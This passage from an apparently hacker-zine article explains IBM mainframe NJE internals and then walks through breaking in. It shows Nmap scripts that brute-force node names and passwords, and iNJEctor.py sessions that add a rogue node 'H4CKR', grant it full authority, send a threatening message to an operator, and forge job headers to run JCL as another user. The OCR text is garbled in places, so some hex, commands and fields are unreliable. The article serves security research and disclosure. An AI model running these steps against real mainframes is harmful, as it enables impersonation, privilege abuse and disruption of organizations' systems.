is a fairly easy and painless setup. This setup can 
be done with the following commands on POTATO. 
Note, this is ultra insecure! Do not use this type of 
setup if you are reading this. This is just an example 
of what the author has seen in the wild: 


1 RDEFINE RACFVARS &RACLNDE UACC(NONE) 

RALTER RACFVARS &RACLNDE ADDMEM(CACTUS) 

3 SETR.OPTS CLASSACT (RACFVARS) RACLIST (RACFVARS 

) 

SETROPTS RACLIST (RACFVARS) REFRESH 


What this does is tell RACF that, for any job 
coming in from CACTUS, POTATO can assume 
that the RACF databases are the same. NJE 
doesn’t actually require users to sign in or send pass- 
words between nodes. Instead, as described in more 
detail below, it attaches the submitting the user’s 
userid from the local node and passes that informa- 
tion to the node expected to perform the work. With 
the above setup the local node assumes that the 
RACF databases are the same (or similar enough), 
and that users from one system are the same on an- 
other. This isn’t always the case and can easily be 
manipulated to our advantage. Thus, in our current 
setup to submit work from one system to another, 
the user j smith would have to exist on both. 


System 1: 
NJEDEF 


NODE(l) 

NODE(2) 

NETSRC(l) 

LINE(l) 

SOCKET(CACTUS) 


POTATO 

NODENUM=2, 

OWNNODE=l, 

LINENUM=1, 

NAME=POTATO 

NAME=CACTUS 

SOCKET=LOCAL 

UNIT=TCPIP 

NODE=2, 

IPADDR=10. 10.10.2 


System 2: 
NJEDEF 


NODE(l) 

NODE(2) 

NETSRC(l) 

LINE(l) 

SOCKET(POTATO) 


CACTUS 

NODENUM=2, 

OWNNODE=2, 

LINENUM=1 

NAME=POTATO 

NAME=CACTUS 

SOCKET=LOCAL 

UNIT=TCPIP 

NODE=l, 

IPADDR=10. 10.10.1 


Figure 10 - Nodes in our network 
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APPLE 3C CRACKING IS 

killing protections 



6.3 Inside NJE 

With the high level discussion out of the way, 
it’s time to dissect the innards of NJE, so we 
can make it do what we want. Fortunately, IBM 
has documented how NJE works in the document 
has2a620 . pdf or more commonly known as “Net- 
work Job Entry Formats and Protocols.” Through- 
out the rest of this article, you’ll see page references 
to the sections within this document that describe 
the process or record format being discussed. 


D5 Cl D2 40 40 40 40 40 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 01 

See if you can decode what the first 3 bytes mean! 

6.3.2 SOH WHAT? 

Once an ACK NJE packet is received, the server is 
expecting a SOH/ENQ packet. 40 From this point 
on, every NJE packet sent is surrounded by a TTB 
and a TTR. 41 I’m sure these had acronyms at some 
point, but this is no longer documented. We just 
need to know that a TTB is 8 bytes long with the 
third and fourth bytes being the length of the packet 
plus itself. Think of the B as BLOCK. Following the 
TTB is a TTR. An NJE packet can have multiple 
TTRs but only one TTB. A TTR is 4 bytes long 
and represents the length of the RECORD. SOH in 
EBCDIC is 0x01, ENQ is 0x2D.This is what this all 
looks like together: 

1 

3 

5 


| TTR 1 TTB |SO 

00 00 00 12 00 00 00 00 00 00 00 02 01 

|EN| TTR 1 

1 2D 00 00 00 00 


6.3.1 The Handshake 

I’m not going to go into the TCP /IP handshake, as 
you should be already familiar with it. After you’ve 
established a TCP connection nothing happens, lit- 
erally. If you find an open port on an NJE server 
and connect to it with anything, the server will not 
send a banner or let you know what’s up. It just 
sits there and waits. It waits for a very specific ini- 
tialization packet that is 33 bytes long. 39 Figure 11 
shows a breakdown of this packet. 

Taking a look at a connection to POTATO from 
CACTUS, we see that CACTUS sends the packet in 
Figure 12 and receives the packet in Figure 13. 

This is the expected response when sending valid 
OHOST and RHOST fields. If you send an OPEN, 
and either of those are incorrect, you get a NAK re- 
sponse TYPE, followed by 24 zeroes and a reason 
code. Notice that you don’t need a valid OIP/RIP; 
it can be anything. 

Here’s the reply when we send an RHOST and 
an OHOST of FAKE: 


Notice that in some instances there’s also a TTR 
footer of four bytes of 0x00. 

The NJE server replies with: 

1 

3 
5 


TTR 1 TTB |DL| 

00 00 00 12 00 00 00 00 00 00 00 02 10 

| A0| TTR 1 

70 00 00 00 00 


or DLE (0x10) ACKO (0x70). These are the ex- 
pected control responses to our SOH/ENQ. 


3 ®See page 189 of has2a620.pdf. 
40 See page 13 of has2a620.pdf. 
41 See page 194 of has2a620.pdf. 
42 See page 111 of has2a620.pdf. 
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Name 

Length (bytes) 

Encoding 

Description 

TYPE 

8 

EBCDIC 

One of OPEN (open a connection), ACK (acknowledge a 
connection) or NAK (deny a connection). Padded with 
spaces. 

RHOST 

8 

EBCDIC 

The name of the originating node, padded with spaces. 

RIP 

4 

— 

The IP address of the originating node. 

OHOST 

8 

EBCDIC 

Padded name of the node you’re trying to connect to. 

OIP 

4 

— 

IP address of target node. 

R 

1 

— 

Reason code for NAK (0x01 or 0x04). 


Figure 11 - 33-byte NJE handshake packet 



TYPE - 

- — 

— - 

- — — - 

OHOST 

— - 

- — 

— - 

- — — — — 

OIP - 

— - 

- — 

RHOST 

— - 

- — 

— - 

- — — — — 

2 

D6 

D7 

C5 

D5 

40 40 

40 40 D7 

D6 

E3 

Cl 

E3 

D6 40 40 

0A 0D 

25 

0A 

C3 

Cl 

C3 

E3 

E4 

E2 40 40 


O 

P 

E 

N 


P 

O 

T 

A 

T 

O 

10 13 

37 

10 

C 

A 

C 

T 

U 

S 


RIP - 

_ - 

- _ 

R 
















6 

OA 

0A 

0A 

02 

00 

















10 

10 

10 

02 

0 

















Figure 12 - CACTUS sends this packet. 


1 

TYPE - 

- — 

— - 

- — — - 

OHOST 

— - 

- — 

— - 

- — — — — 

OIP - 

— - 

- — 

RHOST 

— - 

- — 

— - 

- — — — — 


Cl 

C3 

D2 

40 

40 40 

40 40 C3 

Cl 

C3 

E3 

E4 

E2 40 40 

00 00 

00 

00 

D7 

D6 

E3 

Cl 

E3 

D6 40 40 

3 

A 

C 

K 



C 

A 

C 

T 

U 

S 

0 0 

0 

0 

P 

O 

T 

A 

T 

O 

5 

RIF 

* _ 

_ _ 

_ _ 

R 

















0A 

0A 

0A 

01 

00 
















7 

10 

10 

10 

01 

0 

















Figure 13 - CACTUS receives this packet. 
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6.3.3 NCCR, not a Cruise Line! 

The next part of initialization is sending an ‘I’ 
record. NJE has a bunch of different types of 
records, I, J, K, L, M, N, and B. These are known 
as Networking Connection Control Records (NCCR) 
and control NJE node connectivity. 42 The impor- 
tant ones to know are I (Initial Signon), J (Signon 
Reply), and B (Close Connection). 

An initial sign-on record is made up of many 
components. The important things to know here are 
that the RCB is OxFO, the SRCB is the letter ‘I’ in 
EBCDIC (0xC9), and that there are fields within an 
NCCR I record called NCCILPAS and NCCINPAS that 
are used for password-protected nodes. NCCILPAS x 
2 is used when the nodes passwords are the same, 
whereas you’d use NCCINPAS if the local password 
is different from the target password. For exam- 
ple, if we set the PASSW0RD= in NJEDEF above 
to NJERQCKS, we’d put NJEROCKS in both the 
NCCILPAS and NCCINPAS fields. 

We send an I record, then receive a J record, and 
now the two mainframes are connected to one an- 
other. Since we added trusted nodes with RACF, we 
can now submit jobs between the two mainframes as 
users from one system to another. If a user exists 
on both mainframes, jobs submitted from one main- 
frame to run on another will be executed as that user 
on the target system. The assumption is that both 
mainframes are secure and trusted (otherwise why 
would you set them up?) 

6.3.4 Bigger Packets 

As we get deeper into the NJE connection, more 
layers get added on. Once we’ve reached this phase, 
additional items are are now included in every NJE 
packet: TTB -> TTR -A DLE -A STX -A BOB -A 
FCS -> RCB -> SRCB — DATA 

We already talked about TTB and TTR. DLE 
(0x10) and STX (0x02) are transmission control. 
The BCB, or Block Control Byte, is always 0x80 
plus a modulo 16 number. It is used for tracking the 
current sequence number and is incremented each 
time data is sent. 43 FCS is the Function Control 
Sequence. The FCS is two bytes long and identifies 
the stream to be used. 44 RCB is a Record Control 
Byte, which can be one of the following: 45 

43 See page 119 of has2a620.pdf. 

44 See page 122 of has2a620.pdf. 

45 See page 124 of has2a620.pdf. 

46 See page 125 of has2a620.pdf. 

47 See page 123 of has2a620.pdf. 


1 

— 0x00 End of block 


— 0x90 Request to start stream 

3 

— OxAO Permission to start Stream 


— OxBO Deny request to start stream 

5 

— OxCO Acknowledge transmission complete 


— OxDO Ready to receive stream 

7 

— OxEO BCB error 


— OxFO Control record (NCCR) 

9 

— 0x9A Command or message (NMR) 


— 0x98— 0xF8 SYSIN (incoming data, usually 


JCL can be other stuff) 

11 

— 0x99— 0xF9 SYSOUT (output from jobs, files , 


et c ) 


SRCB is a Source Record Control Byte. For each 
RCB a SRCB is required (IBM calls it a Source 
Record Control Byte, but I like to think of it as 
“Second.”) 46 

1 — 0x90 through OxDO the SRCB is the RCB 
of the stream to be started . 

3 — OxEO the SRCB is the correct BCB. 

— OxFO The NCCR type (explained in 3.4) 

5 — 0x9A Always 0x00 

— 0x98— F8 Defines the type of incoming data. 
7 — 0x99— F9 Defines the type of output data. 


And finally here is the data. The maximum 
length of a record (or TTR) is 255 bytes. Each 
record must have an RCB and a SRCB, which ef- 
fectively means that each chunk of data cannot be 
longer than 253 bytes. That’s not a lot of room! For- 
tunately, NJE implements compression using SCB, 
or String Control Bytes. 47 SCB compresses dupli- 
cate characters and repeated spaces using a control 
byte that uses a byte’s two high order bits to de- 
note that either the following character should be 
repeated x times (lOlx xxxx), a blank should be in- 
serted x times (lOOx xxx), or the following x char- 
acters should be skipped to find the next control 
byte (llxx xxxx). 0x00 denotes the end of com- 
pressed data, whereas 0x40 denotes that the stream 
should be terminated. Not everything needs to be 
compressed (for example NCCR records don’t need 
to be). 

Figure 14 shows a breakdown of the following 
packet: 00 00 00 3b 00 00 00 00 00 00 00 2b 

10 02 82 8f cf 9a 00 cd 90 77 00 09 d5 c5 
e6 e8 d6 d9 d2 40 01 a8 00 c6 d7 d6 e3 cl 
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e3 d6 82 ca 01 5b c4 40 d5 dl c5 c4 c5 c6 
00 00 00 00 00 

Since this is an NMR (RCB = 0x9A), we can 
break down the data after decompression using the 
format described by IBM. 48 The decompressed pay- 
load is shown in Figure 15. 

Therefore, this rather long packet was used 
to send the command $D NJEDEF from the node 
POTATO to the node NEWYORK. 

6.4 Abusing NJE 

As discussed in Section 6.2.2, userids are expected 
to be the same across nodes. But knowing how en- 
terprises operate requires conducting a little test. 

Pretend that you work for a large enterprise 
with multiple mainframe environments all connected 
through NJE. In this example, two nodes exist: (1) 
DEV and (2) PROD. 

A user named John Smith, who manages pay- 
roll, frequently works in the production environment 
(PROD) and has an account on that system with the 
userid “JSMITH.” 

A developer named Jennifer Smith is hired to 
help with transaction processing. Jennifer will only 
ever do work on the development environment, so an 
“Identity Manager” assigns her the user id “JSMITH” 
on the DEV mainframe. 

What is the problem in this example? How could 
Jennifer exploit her access on DEV to get a bigger 
paycheck? 

4 ®See page 102 of has2a620.pdf. 

49 See page 19 of has2a620.pdf. 

50 See page 38 of has2a620.pdf. 


Well, the problem is that whoever set up the ac- 
counts didn’t bother to check all the environments 
before creating the new user account on DEV. Since 
DEV and PROD are trusted nodes in an NJE net- 
work, Jennifer could submit jobs to the produc- 
tion environment (using /*XEQ PROD), and the JCL 
would execute under Johns permissions — not a very 
secure setup. Worse still, the logs on PROD will 
show that John was the one messing with payroll to 
give Jennifer a raise. 

6.4.1 Garbage SYSIN 

When JCL is sent between nodes, it is called SYSIN 
data. To control who the data is from, the type of 
data, etc., a few more pieces of data are added to 
the NJE record. When JES2 processes JCL, it cre- 
ates the SYSIN records. As it processes the JCL, it 
identifies the /*XEQ command and creates the Job 
Header, Job Data, and Job Footer. 49 

Job Data is the JCL being sent, Job Footer is 
some trailing information, and Job Header is where 
the important components (for us) live. 

Within the Job Header itself there are four sub- 
sections: General, Scheduling, Job Accounting, and 
Security. 

The first three are boring and are just system 
stuff. (They’re actually very exciting, but for this 
writeup they aren’t important.) The good bits are 
in the Security Section Job Header. The security 
section header is made up of 18 settings: 50 


Type 

Data 

Value 

TTB 

00 00 00 3b 00 00 00 00 

59 

TTR 

00 00 00 2a 

43 

DLE 

10 

DLE 

STX 

02 

STX 

BCB 

82 

2 

FCS 

8f cf 

n/a 

RCB 

9a 

NMR Command/Message 

SRCB 

00 

n/a 

Data 

See Below 

See Below 

TTB 

00 00 00 00 

TTB Footer 


The Data field was compressed using SCB. It decompresses to 90 77 00 09 d5 c5 e6 e8 d6 d9 d2 40 01 
00 00 00 00 00 00 00 00 d7 d6 e3 cl e3 d6 40 40 01 5b c4 40 d5 dl c5 c4 c5 c6. 

Figure 14 - Example NJE packet 


43 



Item 

Data 

Value 

NMRFLAG 

90 

NMRFLAGC Set to ‘on’. Which means its a command. 

NMRLEVEL 

77 

Highest level 

NMRTYPE 

00 

Unformatted command. 

NMRML 

09 

Length of NMRMSG 

NMRTONOD 

d7 d6 e3 cl e3 d6 40 40 

To NEWYORK 

NMRTOQUL 

01 

The identifier. Node 1. 

NMROUT 

00 00 00 00 00 00 00 00 

The UserlD, Console ID. In this case, blank. 

NMRFMNOD 

c3 cl c3 e3 e4 e2 40 40 

From POTATO 

NMRFMQUL 

01 

From identifier. Can be the same. 

NMRMSG 

5b c4 40 d5 dl c5 c4 c5 c6 

Command: “$D NJEDEF” in EBCDIC 


Figure 15 - Decompressed payload from Figure 14. 


Name 


Size 


NJHTLEN 2B 
NJHTTYPE IB 


NJHTMOD 


IB 


NJHTLENP 2B 
NJHTFLGO IB 


NJHTLENT 

NJHTVERS 

NJHTFLG1 


IB 

IB 

IB 


NJHTSTYP IB 
NJHTFLG2 IB 


NJHT2DFT 

NJHTUNRF 

NJHT2MLO 

NJHT2SHI 

NJHT2TRS 

NJHT2SUS 

NJHT2RMT 

NJHTPOEX 

NJHTSECL 

NJHTCNOD 

NJHTSUSR 

NJHTSNOD 

NJHTSGRP 

NJHTPOEN 

NJHTOUSR 

NJHTOGRP 


lb 

lb 

lb 

lb 

lb 

lb 

lb 

IB 

8B 

8B 

8B 

8B 

8B 

8B 

8B 

8B 


Description 
Length of header 
Type 

(Always 0x8C for security.) 
Modifier 

0x00 for security. 

Remaining header length. 

Flag for NJHTFOJB which 
defines the owner. 

Total length of sec header. 
Version of RACF 
Flag byte for 

NJHT1EN (Encrypted or not), 
NJHT1EXT (format) and 
NJHTSNRF (no RACF) 
Session type 

Flag byte for NJHT2DFT, 
NJHTUNRF, NJHT2MLO, 
NJHT2SHI, NJHT2TRS, 
NJHT2SUS, NJHT2RMT 
Not verified 

Undefined user without RACF 

Multiple leaving options 

Security data not verified 

A Trusted user 

A Surrogate user 

Remote job or data set l 

Port of entry class 

Security label 3 

Security node 5 

User ID of Submitter 

Node the job came from 7 

Group ID of Submitter 

Originator node name 

User ID ll 

Group ID 

13 


The two most important of these are the 
NJHTOUSR and NJHTOGRP variables. These define the 
User ID and Group ID of the job coming into the 
system. If someone were able to manipulate these 
fields within the Job Header before it was sent to 
an NJE server, they could execute anything as any 
user on the system (so long as they had the ability 
to submit jobs, something almost every user does). 
At this point you’re basically two fields away from 
owning a system. 


6.4.2 Command and Control 


In Section 6.2.1 we discussed NMR, that is, Nodal 
Message Records. These have an RCB of 0x9A. By 
far the most interesting property of NMRs is their 
ability to send commands from one node to another. 
This exists to allow easier, centralized management 
of a bunch of mainframe (NJE) nodes on a network. 
You send commands, and the reply gets routed back 
to you for display. 

For example, we can send the JES2 command 
$D JQ that will tell us all the jobs that are currently 
running. To display all the jobs running on CAC- 
TUS from POTATO, we simply add $N 2 in front 
of the command we wish to execute: $N 2,’$D JQ’ 


13.42.01 

13.42.01 

13.42.01 


13.42.01 

13.42.01 

13.42.01 


13.42.01 


STC00021 $HASP890 JOB(TCPIP) 
STC00021 SHASP890 JOB(TCPIP) 
STATUS= (EXECUTING /EMC1 ) , CLASS=STC, 
SHASP890 

PRIORITY =15, SYSAFF= (EMC1 ) , 

HOLD= (NONE) 

STC00022 SHASP890 JOB(TN3270) 
STC00022 SHASP890 JOB(TN3270) 
STATUS= (EXECUTING /EMC1 ) , CLASS=STC, 
SHASP890 

PRIORITY =15, SYSAFF= (EMC1 ) , 

HOLD= (NONE) 

TSU00035 SHASP890 JOB (DADE) 
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15 


17 

19 

21 


13.42.01 TSU00035 SHASP890 JOB (DADE) 
STATUS^ (AWAITING HARDCOPY) , 
CLASS=TSU, 

13.42.01 SHASP890 

PRIORITY = 1 , SYSAFF= (ANY) , 
HOLD= (NONE) 


9 


To make changes at a target system we 
can issue commands with $T. The command $D 
JOBDEF , JOBNUM tells us the maximum number of 11 
jobs that are allowed to run at one time. We 
can increase (or decrease) this number with $T 
JOBDEF , J0BNUM=#. 15 


1 $D JOBDEF, JOBNUM 

$HASP835 JOBDEF JOBNUM=3000 
3 $T JOBDEF, JOBNUM=3001 
$D JOBDEF, JOBNUM 
5 $HASP835 JOBDEF JOBNUM=3001 


We can do the exact same thing with NJE, 2 
but instead pass it a node number $N 2 , ’ $T 
JOBDEF , J0BNUM=3001 ’ . This is the power of NMR 4 
commands. Notice that there are no userids or pass- g 
words here, only commands going from one system 
to another. 8 

A reference for every single JES2 command ex- 
ists. 51 Some interesting JES2 commands are the 
ones we already talked about (lowering/increasing 
number of concurrent jobs) , but you can also profile 
a mainframe using the various $D (for display) com- 
mands. JOBDEF, INITINFO, NETWORK, NJEDEF, JQ, 
NODE etc. NJEDEF is especially important! 

6.5 Breaking In 

It’s now time to make NJE do what we want so we 
can own a mainframe. But there’s some information 
you’ll need to know: 

- IP/Port running NJE 

- RHOST and OHOST names 

- Password for I record (not always) 

- A way to connect 

6.5.1 Finding a Target System 

Of all the steps, this is likely the easiest step to per- 
form. The most recent version of Nmap (7.10) re- 
ceived an update to probe for NJE listening ports: 


mi ii ii ii ii ii ii ii lum mox . t prob w ii ii ii ii ii ii ii mi ii ii ii ii ii mm 

# Queries z /OS Network Job Entry 

Sends an NJE Probe with the following info 

# TYPE = OPEN 

# OHOST = FAKE 

# RHOST = FAKE 

RIP and OIP = 0 . 0 . 0 . 0 

# R =0 

Probe TCP NJE q | \ xd6\xd7\xc5 \xd5@@@@\xc6 \xcl 
\xd2\xc5@@@@\0\0\0\0\xc6\xcl\xd2\xc5@@@@ 
\ 0 \ 0 \ 0 \ 0 \ 0 | 
rarity 9 
ports 175 
sslports 2252 

^ If the port supports NJE it will respond 

# with either a ’NAK’ or ’ACE’ in EBCDIC 
match nje m| \xd5\xcl \xd2 | p/IBM Network Job 

Entry ( JES) / 

match nje m| ~ \ xcl \xc3 \xd2 | p/IBM Network Job 
Entry (JES)/ 


Using Nmap it’s now easy to find NJE: 


$ nmap — s V — p 175 10.10.10.1 

Starting Nmap 6.49SVN ( https : //nmap . org) 
Nmap scan report for 

LPAR1. CACTUS. MAINFRAME. COM (10.10.10.1) 
Host is up (0.0018s latency). 

PORT STATE SERV VERSION 

175/tcp open nje IBM Net Job Entry (JES) 


6.5.2 RHOST, OHOST, and I Records 

This is the trickiest part of breaking NJE. Recalling 
our earlier discussion of connecting, you need a valid 
RHOST (any systems node name) and OHOST 
(the target systems node name). If the RHOST 
or OHOST are wrong, the system replies with an 
NJE NAK reply and a reason code R. Oftentimes the 
node name of a mainframe is the same as the host 
name; so you should try those first. Otherwise, it 
will likely be documented somewhere on a corporate 
intranet or in some example JCL code with /*XEQ 
or you could just ask someone, and they’ll probably 
tell you. 

If you have access to the target mainframe 
already, you could try a few things, like read- 
ing SYS l.PARMLIB ( JES2PARM) and searching for 
NJEDEF/NODE. You could also issue the JES2 
command $D NJEDEF or $D NODE, which will list all 
the nodes and their names: 


51 https : / /www. ibm. com/support/knowledgecenter/SSLTBW_2 .1.0/ com. ibm. zos . v2rl . hasa200/has2cmdr .htm 
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2 

$D node 

$HASP826 NODE(l) 



$HASP826 NODE(l) 

NAMEMOTATO, 

4 


STATUS= (OWNNODE) , 

6 

$HASP826 

TRANSMIT=BOTH, 
RECEIVE=BOTH, HOIXfcAJONE 

8 

$HASP826 NODE( 2) 
$HASP826 NODE( 2) 

NAME=CACTUS, 

10 

$HASP826 

STATUS= (CONNECTED) , 
TRANSMIT=BOTH, 

12 


RECEIVE=BOTH, 

HOLD=NONE 


If none of those options work for you, it’s time to 
use brute force. When you connect to an NJE port 
and send an invalid OHOST or RHOST, you get a 
type of NAK with a reason code of R=l. However, 
when you connect to NJE and place the RHOST 
value in the OHOST held, it replies with a NAK but 
with a reason code of 4! Now this is something we 12 
can use to our advantage. 

Using Nmap again, we can now use a newly- 
released NSE script nj e-node-brute .nse to brute- 
force a system’s OWNNODE node name: 52 

NJE node communication is made up 
of an OHOST and an RHOST. Both 
fields must be present when conducting 
the handshake. This script attempts to 

'“https : / /nmap . org/nsedoc/ scripts/nje -node -brute .html 
unzip pocorgtfol2.pdf nj e-node-brute. nse 


determine the target systems NJE node 
name. 

By default, the script will try to brute-force 
a system’s OHOST value. First trying the main- 
frame’s hostname and then using Nmap’s included 
list of default hosts. Since NJE nodes will generally 
only have one node name, it’s best to use the script 
argument brute . f irstonly=true. 

$ nmap — s V — p 175 10.10.10.1 \ 

2 — script nje— node— brute \ 

— script — args brute . firston 1 y =t r ue 
4 

Starting Nmap 7.10SVN ( https : //nmap . org ) 

6 Nmap scan report for LPAR1 .POTATO. MAINFRAME. 
COM (10.10.10.1) 

Host is up (0.0012s latency). 

8 PORT STATE SERV VERSION 

175/tcp open nje IBM Net Job Entry (JES) 

| nje— node— brute : 

Node Name) s ) : 

Node NameiPOTATO — Valid credentials 


With the OHOST determined (POTATO), we 
can brute-force valid RHOSTs on the target sys- 
tem. Using the same nj e-node-brute Nmap script, 
we use the argument ohost=P0TAT0. Before run- 
ning the script, it’s best to do some recon and 
discover names of other systems, decommissioned 
systems, etc. These can be placed in the hie 
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rhosts.txt and passed to the script using the ar- 
gument hostlist=rhosts . txt: 

$ nmap -sV -p 175 10.10.10.1 \ 

2 — script nje— node— brute \ 

— script — args=ohost = ’POTATO ’ , hostlist = 
rhosts . txt 
4 

Starting Nmap 7.10SVN (https : //nmap . org ) 

6 Nmap scan report for LPAR1 . POTATO . MAINFRAME . 
OOM (10.10.10.1) 

Host is up (0.00090s latency). 

8 PORT STATE SERV VERSION 

175/tcp open nje IBM Net Job Entry (JES) 

10 | nje— node— brute : 

Node Name( s ) : 

12 | POTATO: SANDBOX - Valid credentials 

POTATO : CACTUS - Valid credentials 
14 | POTATO:LPAR5 — Valid credentials 


Note: If CACTUS was connected at the time 
this script was run, it wouldn’t show up in the list 
of valid systems. This is due to the fact that a 
node may only connect once. So if you’re doing this 
kind of testing, you might want to wait for mainte- 
nance windows to try and brute-force. With valid 
RHOSTs (SANDBOX, CACTUS, and LPAR5) and 
the OHOST (POTATO) in hand we can now pre- 
tend to be a node. 

In most places, this will be enough to allow you 
to fake being a node. In some places, however, 
they’ll have set the PASSW0RD= parameter in the 
NJEDEF config. This means that we’ve got one 
more piece to brute-force. 

Thankfully, there’s yet another new Nmap script 
for brute-forcing I records, nje-pass-brute. 

After successfully negotiating an 
OPEN connection request, NJE requires 
sending, what IBM calls, an “I record. ” 

This initialization record may sometimes 
require a password. This script, provided 
with a valid OHOST/RHOST for the 
NJE connection, brute forces the pass- 
word. 

Using this script is fairly straightforward. You 
pass it an RHOST and OHOST, and it will attempt 
to brute-force the I record password field: 

nmap -sV -p 175 10.10.10.1 \ 

2 script nje— pass— brute \ 

— script — args=brut e . f i r s t o n 1 y =t rue , ohost 
= ’POTATO ’ , rhost=’ cactus ’ , passdb= 
passwords . txt 

53 git clone https://github.com/zedsec390/NJElib 


Starting Nmap 7.10SVN (https : //nmap . org ) 

6 Nmap scan report for LPAR.l .NEWYORK. MAINFRAME 
.OOM (10.10.10.1) 

Host is up (0.0012s latency). 

8 PORT STATE SERV VERSION 

175/tcp open nje IBM Net Job Entry (JES) 

10 | nje— pass— brute : 

NJE Password : 

12 | Password :NJEROCKS — Valid credentials 


Behind the scenes, this script is connecting 
and trying “I Records” setting the NCCILPAS and 
NCCINPAS variables to the passwords in your word 
list. 


6.5.3 I’m a Pretender 

Using the information we’ve gathered, we could 
set up our own mainframe, add an NJEDEF sec- 
tion to the JES2 configuration file, and connect to 
POTATO as a trusted node. But who’s got millions 
to spend on a mainframe? The good news is you 
don’t have to worry about any of that. Since get- 
ting your hands on a real mainframe is all but im- 
possible, your author wrote a Python library that 
implements the NJE specification, allowing you to 
connect to a mainframe and pretend to be a node. 53 

Using the NJE library, we can do a couple of 
interesting things, such as sending commands and 
messages, or sending JCL as any user account. 

First, we’re going to create our own node, just 
in case the node we’re pretending to be comes 
back online (preventing us from using it). Using 
iNJEctor.py we can send commands we’d like to 
have processed by the target node. Before doing 
that, we need to see how many nodes are currently 
declared with $D NJEDEF, NODENUM: 

$ ./iNJEctor.py 10.10.10.1 CACTUS POTATO \ 

2 " \$D NJEDEF, NODENUM" — pass NJEROCKS 

4 The JES2 NJE Command Injector 

6 [+j Signing on to 10.10.10.1 : 175 

[ + ] Signon to 10.10.10.1 Complete 
8 [ + ] Sending Command: $D NJEDEF, NODENUM 
[ + ] Reply Received : 

10 

13.12.26 SHASP831 NJEDEF NODENUM=4 
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1 


$ . / iNJEctor . py 10.10.10.1 CACTUS POTATO "\$T NJEDEF,NODENUM=5" — pass NJEROCKS -q 


3 

13.25.34 

$HASP831 


13.25.34 

$HASP831 

5 

13.25.34 

$HASP831 


13.25.34 

$HASP831 

7 

13.25.34 

$HASP831 


13.25.34 

$HASP831 

9 

13.25.34 

$HASP831 

11 

$ . / iNJEctor . py 

10.10.10.1 

13 

13.26.15 

$HASP826 


13.26.15 

$HASP826 

15 

13.26.15 

$HASP826 

17 

$ . / iNJEctor . py 

10.10.10.1 

19 

— pass NJEROCKS — q 


13.27.13 

$HASP897 

21 

13.27.13 

$HASP897 


13.27.13 

$HASP897 

23 

13.27.13 

$HASP897 


13.27.13 

$HASP897 


NJEDEF 

NJEDEF OWNNAMET>OTATO,OWNNODE=l,CONNECr=(YES,10) , 

DELAY= 1 2 0 ,HDRBUF= ( LIMIT = 10 ,WARN= 8 0 ,FREE= 10), 

JRNUM= 1 , JTNUM= 1 ,SRNUM= 1 ,STNUM= 1 ,LINENUM= 1 , 

MAILMSG=NO , MAXHOP= 0 ,NODENUM= 5 ,PATH= 1 , 

RESTMAX= 2 6 2 1 3 6 0 0 0 ,RESTNODE= 1 0 0 ,RESTTOL= 0 , 

TIMETOL= 1440 

CACTUS POTATO "\$T NODE(5) ,name=H4CKR" — pass NJEROCKS -q 
NODE) 5) 

NODE) 5) NAME=H4CKR,STATUS= (UNCONNECTED) ,TRANSMIT=BOTH, 
RECEIVE=BOTH, HOLEtJMONE 

CACTUS POTATO "\$add socket ( h4ckr ) , node=h4ckr , ipaddr =3. 1 . 33 . 7 " 


SOCKET(H4CKR) 

SOCKET(H4CKR) STATUS=INACTIVE , IPADDR = 3.1.33.7, 

PORTNAME=VMNET,CONNECT= (DEFAULT) , 
SECURE=NO , LINE = 0 ,NODE= 5 ,REST= 0 , 
NETSRV=0 


\ 


Figure 16 - Example use of iNJEctor.py. 


We’ll increase that by one with the com- 
mand $T NJEDEF, N0DENUM=5, then add our own 
node called h4ckr using the commands $T 
N0DE(5) ,name=H4CKR and $add socket (h4ckr) . 
See Figure 16. 

The node h4ckr has now been created. Finally, 
we’ll want to give it full permission to do any- 
thing it wants with the command $T node (h4ckr) , 
auth= (Device=Y , Job=Y , Net=Y , System=Y) . See 
Figure 17 

Good, we have our own node now. This will 
only allow us to send commands and messages. If 
we wanted, we could mess with system administra- 
tors now. 


2 

4 

6 

8 


$ ./iNJEctor.py 10.10.10.1 h4ckr POTATO \ 

— u margo m \ 

’MESS WITH THE BEST DIE LIKE THE REST’ 

The JES2 NJE Command Injector 

[+] Signing on to 10.10.0.200 : 175 
[ + ] Signon to 10.10.0.200 Complete 
[ + ] Sending Message ( MESS WITH THE BEST DIE 
LIKE THE REST ) to user : margo 

[ + ] Message sent 


And when Margo logs on, or tries to do anything 
she would receive this message: 

1 READY 

3 MESS WITH THE BEST DIE LIKE THE REST CN( 
INTERNAL) 


That is fun and all, but we could also do real 
damage, such as shutting off systems or lowering 
resources to the point where a system becomes un- 
responsive. But where’s the fun in that? Instead, 
let’s make our node trusted. 

We’ll need to find a user with the appropriate 
permissions first. From previous research, I know 
Margo runs operations and has a userid of margo. 
Using jcl.py we can send JCL to a target node. 
This script uses the NJELib library and manipu- 
lates the NJHT0USR and NJHTQGRP settings in the 
Job Header Security Section to be any user we’d 
like. We already know CACTUS is a trusted node 
on POTATO, so let’s use that trust to submit a job 
as Margo. 

To check if she has the permissions we need, 
we use the program IKJEFT01, which executes TSO 
commands, and the R.ACF TSO command lu, which 
lists a user’s permissions. We see this in Figure 18. 
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$ . / iN JEctor . py 

10.10.10.1 CACTUS POTATO \ 

2 

"\$T node ( h4ckr ) , auth = (Device= 

Y, Job=Y, Net=Y, System=Y) " — pass NJEROCKS -q 

4 

13.29.20 

SHASP826 NODE(5) 



13.29.20 

SHASP826 NODE( 5) 

NAME=H4CKR,STATUS= (UNCONNECTED) , 

6 

13.29.20 

SHASP826 

AUTH= (DEVICE=YES , JOB=YES , NET=YES , SYSTEM=YES ) , 


13.29.20 

SHASP826 

TRANSMIT=BOTH , RECEIVE=BOTH, HOLD=NONE, 

8 

13.29.20 

SHASP826 

PENCRYPT=NO, SIGN ON=COMPAT, ADJACENT=NO , 


13.29.20 

SHASP826 

CONNECT= (NO) , DIRECT=NO , ENDNODE=NO , REST= 0 , 

10 

13.29.20 

SHASP826 

SENTREST=ACCEPT , COMPACT= 0 , LINE = 0 ,IX)GMODE= , 


13.29.20 

SHASP826 

LOGON= 0 ,NETSRV= 0 ,OWNNODE=NO , 

12 

13.29.20 

SHASP826 

PASSWORD= (VERIFY = (NOTSET) , 


13.29.20 

SHASP826 

SEND=(EROM OWNNOEE) ) ,PATHMGIt=YES , PRIVATE=NO, 

14 

13.29.20 

SHASP826 

SUBNET= ,TRACEhNO 


Figure 17 iNJEctor.py giving full permissions. 


The important line here is ATTRIBUTES=SPECIAL, 
meaning that she can execute any RACF command. 
This, in turn, means she has the ability to add 
